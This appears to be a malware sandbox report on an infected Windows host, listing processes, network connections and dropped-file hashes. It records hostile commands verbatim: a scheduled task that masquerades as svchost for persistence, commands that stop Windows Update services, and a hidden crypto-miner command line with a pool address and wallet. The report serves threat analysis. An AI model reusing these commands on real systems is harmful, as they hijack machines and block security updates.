"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3348 -childID 1 -isForBrowser -prefsHandle 3340 -prefMapHandle 3336 -prefsLen 22652 -prefMapSize 244658 -jsInitHandle 1280 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3f2db304-261f-4eb1-b0fd-dd614e2ed5e8} 3108 "\\.\pipe\gecko-crash-server-pipe.3108" tab

C:\Program Files\Google\Chrome\Application\123.0.6312.106\elevation_service.exe

"C:\Program Files\Google\Chrome\Application\123.0.6312.106\elevation_service.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2024,226120936506112307,10318380157307821196,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4628 /prefetch:1

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2936 -childID 2 -isForBrowser -prefsHandle 2940 -prefMapHandle 3164 -prefsLen 29088 -prefMapSize 244658 -jsInitHandle 1280 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8caedd09-b2d3-4524-bc04-a7df21f797b4} 3108 "\\.\pipe\gecko-crash-server-pipe.3108" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4904 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4772 -prefMapHandle 4832 -prefsLen 29088 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2d4f049b-3459-4410-91f0-99c1acd1fe8c} 3108 "\\.\pipe\gecko-crash-server-pipe.3108" utility

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5544 -childID 3 -isForBrowser -prefsHandle 5536 -prefMapHandle 5532 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 1280 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {718b09df-9320-4917-aa07-f313ace01b31} 3108 "\\.\pipe\gecko-crash-server-pipe.3108" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5488 -childID 4 -isForBrowser -prefsHandle 5676 -prefMapHandle 5680 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 1280 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {57894283-8465-449e-88d0-1f7b5478a965} 3108 "\\.\pipe\gecko-crash-server-pipe.3108" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5836 -childID 5 -isForBrowser -prefsHandle 5844 -prefMapHandle 5852 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 1280 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {cc617d5d-b45a-4244-ba37-363f2d64cb1f} 3108 "\\.\pipe\gecko-crash-server-pipe.3108" tab

C:\Users\Admin\1000029002\5337807864.exe

"C:\Users\Admin\1000029002\5337807864.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 5620 -ip 5620

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 5620 -s 1464

C:\Users\Admin\AppData\Local\Temp\1000030001\028058e168.exe

"C:\Users\Admin\AppData\Local\Temp\1000030001\028058e168.exe"

C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe

"C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=2024,226120936506112307,10318380157307821196,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3760 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2024,226120936506112307,10318380157307821196,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5448 /prefetch:8

C:\Users\Admin\AppData\Local\Temp\1000002001\GOLD.exe

"C:\Users\Admin\AppData\Local\Temp\1000002001\GOLD.exe"

C:\Users\Admin\AppData\Local\Temp\1000003001\4434.exe

"C:\Users\Admin\AppData\Local\Temp\1000003001\4434.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2024,226120936506112307,10318380157307821196,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5244 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2024,226120936506112307,10318380157307821196,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5224 /prefetch:1

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Users\Admin\AppData\Local\Temp\1000004001\crypteda.exe

"C:\Users\Admin\AppData\Local\Temp\1000004001\crypteda.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2024,226120936506112307,10318380157307821196,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4748 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2024,226120936506112307,10318380157307821196,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4816 /prefetch:1

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Users\Admin\AppData\Roaming\n7Gs36sXpC.exe

"C:\Users\Admin\AppData\Roaming\n7Gs36sXpC.exe"

C:\Users\Admin\AppData\Roaming\PwvRO6hIoT.exe

"C:\Users\Admin\AppData\Roaming\PwvRO6hIoT.exe"

C:\Users\Admin\AppData\Local\Temp\1000005001\2.exe

"C:\Users\Admin\AppData\Local\Temp\1000005001\2.exe"

C:\Users\Admin\AppData\Local\Temp\1000009001\25072023.exe

"C:\Users\Admin\AppData\Local\Temp\1000009001\25072023.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 400 -p 6520 -ip 6520

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 6520 -s 388

C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe

"C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe"

C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe

"C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "ver"

C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe

C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe

C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe

"C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe"

C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe

"C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "ver"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\_MEI62442\Blsvr.exe

C:\Users\Admin\AppData\Local\Temp\_MEI62442\Blsvr.exe

C:\Users\Admin\AppData\Local\Temp\_MEI62442\Blsvr.exe

C:\Users\Admin\AppData\Local\Temp\1000027001\buildred.exe

"C:\Users\Admin\AppData\Local\Temp\1000027001\buildred.exe"

C:\Users\Admin\AppData\Local\Temp\1000036001\Authenticator.exe

"C:\Users\Admin\AppData\Local\Temp\1000036001\Authenticator.exe"

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc

C:\Windows\System32\sc.exe

sc stop UsoSvc

C:\Windows\System32\sc.exe

sc stop WaaSMedicSvc

C:\Windows\System32\sc.exe

sc stop wuauserv

C:\Windows\System32\sc.exe

sc stop bits

C:\Windows\System32\sc.exe

sc stop dosvc

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0

C:\Windows\System32\conhost.exe

C:\Windows\System32\conhost.exe

C:\Windows\System32\powercfg.exe

powercfg /x -hibernate-timeout-ac 0

C:\Windows\System32\powercfg.exe

powercfg /x -hibernate-timeout-dc 0

C:\Windows\System32\powercfg.exe

powercfg /x -standby-timeout-ac 0

C:\Windows\System32\powercfg.exe

powercfg /x -standby-timeout-dc 0

C:\Users\Admin\AppData\Local\Temp\1000045001\stealc_valenciga.exe

"C:\Users\Admin\AppData\Local\Temp\1000045001\stealc_valenciga.exe"

C:\Users\Admin\AppData\Local\Temp\1000050001\30072024.exe

"C:\Users\Admin\AppData\Local\Temp\1000050001\30072024.exe"

C:\Users\Admin\AppData\Local\Temp\1000057001\jsawdtyjde.exe

"C:\Users\Admin\AppData\Local\Temp\1000057001\jsawdtyjde.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\1.bat" "

C:\Users\Admin\AppData\Local\Temp\RarSFX0\clamer.exe

clamer.exe -priverdD

C:\Users\Admin\AppData\Local\Temp\RarSFX1\thkdh.exe

"C:\Users\Admin\AppData\Local\Temp\RarSFX1\thkdh.exe"

C:\Users\Admin\AppData\Local\Temp\1000058001\deepweb.exe

"C:\Users\Admin\AppData\Local\Temp\1000058001\deepweb.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Users\Admin\AppData\Local\Temp\pureee.exe

"C:\Users\Admin\AppData\Local\Temp\pureee.exe"

C:\Users\Admin\AppData\Local\Temp\adada.exe

"C:\Users\Admin\AppData\Local\Temp\adada.exe"

C:\Users\Admin\AppData\Local\Temp\dropperrr.exe

"C:\Users\Admin\AppData\Local\Temp\dropperrr.exe"

C:\Windows\SYSTEM32\schtasks.exe

"schtasks" /create /tn "svchost" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\svchost.exe" /rl HIGHEST /f

C:\Users\Admin\AppData\Roaming\SubDir\svchost.exe

"C:\Users\Admin\AppData\Roaming\SubDir\svchost.exe"

C:\Windows\SYSTEM32\schtasks.exe

"schtasks" /create /tn "svchost" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\svchost.exe" /rl HIGHEST /f

C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

C:\ProgramData\eeia\ummo.exe

C:\ProgramData\eeia\ummo.exe

C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe

C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50

Network

Country Destination Domain Proto
RU 185.215.113.19:80 185.215.113.19 tcp
RU 185.215.113.16:80 185.215.113.16 tcp
US 8.8.8.8:53 19.113.215.185.in-addr.arpa udp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
FR 142.250.178.142:443 www.youtube.com tcp
FR 142.250.178.142:443 www.youtube.com tcp
FR 172.217.18.206:443 consent.youtube.com tcp
FR 172.217.18.206:443 consent.youtube.com tcp
US 8.8.8.8:53 spocs.getpocket.com udp
FR 142.250.179.110:443 www.youtube.com tcp
FR 142.250.179.110:443 www.youtube.com tcp
US 8.8.8.8:53 youtube-ui.l.google.com udp
US 8.8.8.8:53 youtube-ui.l.google.com udp
US 8.8.8.8:53 shavar.prod.mozaws.net udp
FR 142.250.179.110:443 youtube-ui.l.google.com udp
FR 172.217.18.206:443 consent.youtube.com tcp
US 8.8.8.8:53 consent.youtube.com udp
FR 172.217.18.206:443 consent.youtube.com udp
US 34.149.97.1:443 firefox-api-proxy.cdn.mozilla.net udp
FR 172.217.20.196:443 www.google.com tcp
FR 172.217.20.196:443 www.google.com udp
RU 85.28.47.31:80 85.28.47.31 tcp
FR 172.217.20.196:443 www.google.com tcp
N/A 224.0.0.251:5353 udp
FR 172.217.20.196:443 www.google.com tcp
RU 185.215.113.16:80 185.215.113.16 tcp
N/A 127.0.0.1:49799 tcp
RU 85.28.47.70:80 85.28.47.70 tcp
DE 20.52.165.210:39030 tcp
VN 103.28.36.182:443 coe.com.vn tcp
RU 185.215.113.67:40960 tcp
N/A 127.0.0.1:49828 tcp
RU 185.215.113.67:40960 tcp
RU 185.215.113.67:40960 tcp
NL 109.120.137.52:80 109.120.137.52 tcp
RU 185.215.113.67:40960 tcp
RU 185.215.113.67:40960 tcp
RU 185.215.113.67:40960 tcp
RU 185.215.113.67:40960 tcp
US 34.117.59.81:443 ipinfo.io tcp
NL 149.154.167.220:443 api.telegram.org tcp
RU 185.215.113.67:40960 tcp
RU 185.215.113.9:9137 tcp
RU 185.215.113.67:40960 tcp
RU 185.215.113.67:40960 tcp
RU 185.215.113.67:40960 tcp
RU 185.215.113.67:40960 tcp
FR 141.94.96.195:3333 pool.supportxmr.com tcp
NL 91.225.219.163:80 91.225.219.163 tcp
RU 185.215.113.67:40960 tcp
RU 185.215.113.67:40960 tcp
NL 91.92.240.111:80 91.92.240.111 tcp
NL 91.92.240.111:1334 91.92.240.111 tcp
RU 185.215.113.67:40960 tcp
US 104.26.13.31:443 api.ip.sb tcp
NL 91.92.240.111:80 91.92.240.111 tcp
RU 185.215.113.67:40960 tcp
CH 185.196.9.187:80 185.196.9.187 tcp
NL 91.92.240.111:39001 tcp
CA 51.222.21.20:4782 tcp
RU 185.215.113.67:40960 tcp
DE 195.201.57.90:443 ipwho.is tcp
NL 91.92.240.111:80 91.92.240.111 tcp
RU 185.215.113.67:40960 tcp
GB 161.35.34.195:3333 rx.unmineable.com tcp
US 104.21.72.79:443 vaniloin.fun tcp
RU 185.215.113.67:40960 tcp
RU 185.215.113.67:40960 tcp
RU 185.215.113.67:40960 tcp

Files

memory/1352-0-0x0000000000BD0000-0x000000000108A000-memory.dmp

memory/1352-1-0x0000000077506000-0x0000000077508000-memory.dmp

memory/1352-2-0x0000000000BD1000-0x0000000000BFF000-memory.dmp

memory/1352-3-0x0000000000BD0000-0x000000000108A000-memory.dmp

memory/1352-5-0x0000000000BD0000-0x000000000108A000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

MD5 4d2cdbb21c65dd9be3ae81f1cb95ab2c
SHA1 e674a6331275bd928595ea5617795a50ff19bd4e
SHA256 1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75
SHA512 7bdb160f7a6d64ee9e2dcfc4d93e80b1e578bead95ce1509b65ab5570d0fd0f6f62f0ce002e9bcf53e744a7154f3994d19f002db881256f9955491abffea2de1

memory/1352-17-0x0000000000BD0000-0x000000000108A000-memory.dmp

memory/3924-18-0x0000000000CC0000-0x000000000117A000-memory.dmp

memory/3924-20-0x0000000000CC0000-0x000000000117A000-memory.dmp

memory/3924-19-0x0000000000CC1000-0x0000000000CEF000-memory.dmp

memory/3924-21-0x0000000000CC0000-0x000000000117A000-memory.dmp

memory/3760-23-0x0000000000CC0000-0x000000000117A000-memory.dmp

memory/3760-24-0x0000000000CC0000-0x000000000117A000-memory.dmp

memory/3760-25-0x0000000000CC0000-0x000000000117A000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000020001\57b802a7d7.exe

MD5 f19f62959c79af73e6353063cfab9482
SHA1 8f62871b4c9a2ab35033561e4dc0d478e629391a
SHA256 bafb29d6c0e54ea3dc758787b59dd494d24bc0d96806c8569fb2d026e2c50c65
SHA512 46cb00fbf95292c7ed2c3603a9be660b1fb35de1f6f8bf34b6e2131ec8c140e6b5df5e22a582a35e7cbe71c0aedaa1b3d7e532d3bf82f7148e25a8f8d22a28ed

memory/3760-34-0x0000000000CC0000-0x000000000117A000-memory.dmp

memory/3760-35-0x0000000000CC1000-0x0000000000CEF000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\96E1.tmp\96E2.tmp\96E3.bat

MD5 de9423d9c334ba3dba7dc874aa7dbc28
SHA1 bf38b137b8d780b3d6d62aee03c9d3f73770d638
SHA256 a1e1b422c40fb611a50d3f8bf34f9819f76ddb304aa2d105fb49f41f57752698
SHA512 63f13acd904378ad7de22053e1087d61a70341f1891ada3b671223fec8f841b42b6f1060a4b18c8bb865ee4cd071cadc7ff6bd6d549760945bf1645a1086f401

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 1e055230e18b5c829279f7bc999b631d
SHA1 025d3d0c87346b7822c481517e833edea2120a40
SHA256 fe144bb89636e3fc5c3cc8619995d065f032f04faca4c87503facb615fff777f
SHA512 446a328effa484804f758f7279c693b278383fa29489a81fd4ddf581af10e634331ffd5b22e34688d3bc18172fede091966c69dfbd644a5f05dfdacc0777b2ea

\??\pipe\crashpad_4248_GYPLGDZIGCLZHMNC

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 f21010c94e1009f08062dd9e5a111f3f
SHA1 a02eb37688abf5ccacdd4eba9c3d274ab2a44abf
SHA256 f7f88cda54d24605bbfb55c55e0d02e9fc73271b715b71fb51394095421f82a2
SHA512 5d8cc69ae7bb6373194ce9bf69e30459516e7105da72df41715fd33c3282c7d16b06c5c23137d65596b60e524a688d69814249e126d270e187b58f36505f7aa8

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 803a9633cac903c763d5acd227325732
SHA1 ff86e663665526b1d3c280719d4da573e31d8717
SHA256 8a31f59b03c8ad0d2c1614aa11f06b804c374bfcf920626a1b5702eef147d3af
SHA512 a595d1c5edf624181e8a34f53330ee1c64edf92c4cf93cafc1b9700bee0563e2e0505660b78791ba2e762997ff5226f6f563a019bf14bf4cbb41a10e93536c68

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\0uwbru0h.default-release\activity-stream.discovery_stream.json.tmp

MD5 f5f2b34335df8b7633efa2ba56e7b1a5
SHA1 53c982c2e32cd286fdbd1c5844c0356db6c947f1
SHA256 19b937a97fb1f150a5b60e67750d10102d7b354991c50a1d22d99037086383c9
SHA512 e4a025b1ff34312a1da3341bbc98fdd96bc05b27c6959cd5cac15de17369b0191748515b600177542c74b44862918986235ad1b51e42f11476e220d3a250323b

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0uwbru0h.default-release\datareporting\glean\pending_pings\f3732c0f-38c5-498f-b197-0e16fe612073

MD5 e44bea98b11b89c8682576fd8337b587
SHA1 46aeced75e4289d906fc979458ab84c8aa108455
SHA256 c8576d11d53394e22cd4a8cd0a6b53e6919250f19b037d11b5787c63cc6cde90
SHA512 362e877916a9519bb5e6b3591ca1741b573bc664b8c0a474aad990ac2d2dc262ce07709a829ce5238bbbfd2528d7a3f9f2d53d09e38820013a63bd605ea2726a

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0uwbru0h.default-release\datareporting\glean\pending_pings\cd47c5bc-4ac5-436e-9edf-65dfec95335b

MD5 2beda2f0e21f132e84bf82df9b9fdce2
SHA1 bb4f3fa209a5b9779b7410b76319e6626d88dfe4
SHA256 2bd503a40aaafd5caacefed44718a5817d2dd5b39057e9829f6a4d7077b23adc
SHA512 f7607f76b656f451572b0c558f8c5c232addbfb66ba691569541146361797e18e92d61b1e19081d054cc8bba40a3dcf57e38c852cfddd659f3d835a6ef3533ae

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0uwbru0h.default-release\datareporting\glean\db\data.safe.tmp

MD5 1b5824e7fc22fd8ca7312fc989295982
SHA1 733d2259aa86ff8a1439c9a29673436e4712800b
SHA256 aad17ec82f72ab7a64df5b897eaae0fd16f6412e8fa5f831d79079ad00cfa67b
SHA512 11ba630db7944e2d080c187913ddef19e32b9873da826b00119312b235e5eb0816d3d553d1d2bf728a928f3847dc95e4ee1e58d15bc917f2dee98f4b93739895

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0uwbru0h.default-release\prefs.js

MD5 3d1d0dfec7bb3db727d56cf9c5d3cb92
SHA1 d53f1b10a1c844c057ce63ea33258ecb9976d365
SHA256 b971bdb0429997a617bf35bdd8750dc48c6172e55098e0f9abbaa787337d818a
SHA512 cd04d9bc298375ef816973211becc53ecc371033a15e01cbe7d62def82eeae792686042eb15a929e534031cb0c1264962d6270e23e8b806ca38ccc18f75c5e7e

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0uwbru0h.default-release\AlternateServices.bin

MD5 0ab0b1fd52154cb616c2b9a89548f155
SHA1 309d438b26c84982b4111e4e45d91697eb92c263
SHA256 b024bb972a912d49eec22d053896e7ab5fbc3ecd86973f2019deb8269603112c
SHA512 a6d4560c906ffcb8624f5d2d994a73690dc267f220e9e0ec441349ddffc08aaef0c45c43f9104aab941695b2768e3040770bd066f3be58032f31cf6691fad31f

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0uwbru0h.default-release\prefs-1.js

MD5 3f40f6a39d10d82d85d56e19934687a2
SHA1 6d6666b2f63b01f63dcedcd9ec2cf650dd843c87
SHA256 40a4ac1ce37c05da01f1fe64754bcdc222a499180a33e602c17ed04190a13cd9
SHA512 122b2cf672685b105cd2a74e2a5602dd1490a4470003beb017ecdc8b55271052c6dae74cbc7003564ccda884563eb1e7ef77512f9707cb8bb40f3d3ade9e0057

C:\Users\Admin\1000029002\5337807864.exe

MD5 e70b307e33e856cc9cb70a59a32102da
SHA1 24b6d3e99b0e5ee94b7b591c40f7ac2b0ba6f555
SHA256 8d7e591c16734d05b2b7d4b074a16ce05dc89d904d63e6de9add91aaeef4cccd
SHA512 0c59c31f54214c1875a9314f689346c4755371bfbbfd245f3c90a00cd32b3ff8a378fdcd1b4fd597a956b39d310e3b31993103990166013ff5c61c15e63aa50b

memory/5620-445-0x0000000000400000-0x00000000031E0000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000004

MD5 60b8b39a48e099a79b96aa1cc1e0cfc4
SHA1 fdf8cae154235a990f757624591ec05b3891ac26
SHA256 cb5000e7cd62ab7f1fe45f8eb4ce9c4187f7b211436fa7dfb3aa2fef44400854
SHA512 0976939732ffc39a891c13248508fb2473c402a0f83cd1abde02db00c71404ae442537f71b596e6ac64e91f16a9f15d49f3af583d60f87812dd0916468534b58

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000005

MD5 8ad98b9733d7cb5dba046cb0622b8623
SHA1 ac19b48fcd3bd8d632b9c8b654fe6349d2eba513
SHA256 d1a0b50df2150a0ac812bbdbb3a61f4f85dc9c226ec918464bf6d51e4a6ccc2d
SHA512 65f7befc24a499d72b07ceef592e49ba3c7b8a55a5c4b651e7fdaad61418bd8167b1950faef7c275bea997dde94b25461f1fd5000985d7a19f38cc75907a37e8

memory/5620-476-0x0000000000400000-0x00000000031E0000-memory.dmp

memory/3924-478-0x0000000000CC0000-0x000000000117A000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000030001\028058e168.exe

MD5 248d72640b5697bedb167b6922f7d9ec
SHA1 232be32e0792a7308654b29f2001b4ece7c2dcbc
SHA256 6ea68397c9ada660d60cd92137460f9ec823d57374a5ea490b834362d1641227
SHA512 002d4f34ac151a89a9e778ca2f80d69572af44ff8c936ca8c2b383706d07598729b1908ed5f49921dd9fca9c4f920d5c2660cb8da2ad0514097dc7ad6291d571

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

MD5 c3b33657e237e444bba3afe91607aa7c
SHA1 f440785e38c50885d5b0aec2bff13a0c73737525
SHA256 4483d01c9119788063f2c7257f9b623f76e84bdb2c91dfd79257b52f7c1edd7e
SHA512 8412f069a5a5e04bf64cfd0e06598c8f5414856ac6d93e9e57a9c0bf5d616e2a1db4e6d46423d6a7df7da1c02c0385a3d03b0d13b053c87c117b9f937d32afb7

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

MD5 09f54a764dd70443f3e86937a4c02cbd
SHA1 a5f06a431cde1b0cdbc22aed9cb927e48d769e3d
SHA256 10c9209bc02ab6ed4014c7251479eb0edbf3be98518104ef2975617cc4b970cd
SHA512 81342ecc27cf5727829b229e9c2dca212173a5b93dc869b4e2586980271ba970f8a6dedbfb3e8d9736681093380f1f72a776ac96b209bd2bb883dc2c29dd4f56

memory/5808-509-0x0000000000770000-0x0000000000C1E000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 3fee5c804c6963b6b701a60fe2d7e563
SHA1 d0390f3b8469e5cdde155c87785d91cc4748b984
SHA256 2575176d2fa176b2ec09f3f3917741de07b7a8c9be535570f5f0e07f957cc1b9
SHA512 01b4495e85f4023afe3e9d62927847e9efd9d31ca35990685a3d005dc8f18946b3736764cd005f99002e077bb7065921b484d5a5ca9b5f9dd9290791e6cdbae6

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 09f18c0f8f5b3611e056fec87bf7c5ca
SHA1 7cef734207e0ecc92f261e30714e45fdb663d5b4
SHA256 dfc608b072e80ed9ec328d30357487887c7ca5d6bf81e58425a1d1b2cb042d1b
SHA512 84dc0c8036ba7288d4d135569522eb5b3f0a3144a4233daf24275887967cb28f64ac366708fabf69195d1db1e5e4a76ce42436b603f5e531983bd496370b43f2

memory/5808-536-0x0000000000770000-0x0000000000C1E000-memory.dmp

memory/5780-538-0x0000000000B70000-0x000000000101E000-memory.dmp

memory/3924-537-0x0000000000CC0000-0x000000000117A000-memory.dmp

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

MD5 b86416f6c9fbc16f3f1edef6838397c1
SHA1 38d223b0eca237c30f34456e793fa94a50295bbf
SHA256 aa7a039267b9b501f3b619c296cf82509f8400a5b138582c882dd70c61e08dcc
